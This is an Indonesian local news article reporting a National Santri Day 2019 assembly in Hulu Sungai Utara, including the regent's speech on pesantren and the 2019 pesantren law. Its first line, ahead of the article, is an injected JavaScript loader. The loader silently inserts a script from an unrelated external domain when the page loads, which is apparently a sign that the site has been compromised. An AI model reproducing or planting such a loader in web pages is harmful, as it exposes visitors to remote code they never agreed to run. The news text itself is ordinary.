(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemkab HSU Gelar Apel Hari Santri Nasional 2019 Bersama Ribuan Santri

AMUNTAI, Ribuan Santri yang berasal dari berbagai pondok pesantren se-Kabupaten Hulu Sungai Utara (HSU) ikut serta dalam apel Peringati Hari Santri Nasional (HSN) di Halaman Kantor Bupati Hulu Sungai Utara, Selasa (22/10).

Disamping dihadiri para santri, juga diikuti tokoh agama, kyai, para ustadz, dan unsur Forkopimda seperti Kapolres HSU, Dandim 1001 Amuntai-Balangan bersama para pejabat SKPD dan pegawai di lingkungan Pemkab HSU.

Bertindak sebagai pembina upacara Bupati HSU H. Abdul Wahid HK. Sedangkan komandan upacara, pembaca UUD 1945, paduan suara, dan Pembaca Ikrar Santri, dibawakan oleh para santri.

Uniknya dalam apel kali ini Bupati Wahid juga ikut mengenakan sarung berwarna biru tua dipadukan dengan stelan jas hitam dan peci hitam

“Ada sembilan alasan dan dasar mengapa pesantren layak disebut sebagai Laboratorium Perdamaian. Pertama, kesadaran harmoni beragama dan berbangsa, Kedua, metode mengaji dan mengkaji, Ketiga, Khidmah (pengabdian), Keempat, pendidikan kemandirian, Kelima: gerakan komunitas, Keenam: Beragam kelompok diskusi, Ketujuh: merawat khazanah kearifan lokal, Kedelapan: prinsip mashalat(kepentingan umum), Terakhir Kesembilan: Penanaman spiritual. Hari Santri tahun 2019 ini terasa istimewa dengan Hadirnya Undang-undang nomor 18 tahun 2019 tentang pesantren,” terang Bupati Wahid saat menyampaikan sambutan Menteri Agama RI dalam pidatonya.

Lebih lanjut disebutkan, adanya undang undang tentang pesantren memastikan bahwa pesantren tidak hanya mengembangkan fungsi pendidikan, tetapi juga mengembangkan fungsi dakwah dan fungsi pengabdian masyarakat.

Dengan undang undang ini negara hadir untuk memberikan Rekognisi, Afirmasi, dan Fasilitasi kepada pesantren dengan tetap menjaga kekhasab dan kemandiriannya. Dengan undang undang ini pula tamatan pesantren memiliki hak yang sama dengan tamatan lembaga lainnya” Tutupnya

Di akhir sambutannya Bupati HSU juga mengucapkan “Selamat Hari Santri 2019, Santri Indonesia untuk Perdamaian Dunia”.
Selesai Apel Hari Santri Nasional ke-4, Almien Selaku Ketua DPRD HSU berharap semoga santri di Kabupaten HSU dapat memberikan kontribusi yang terbaik bagi bangsa dan negara, juga bisa membimbing dan menasehati serta memajukan tanah air kita.(dew)

Reporter : dew
Editor : Chell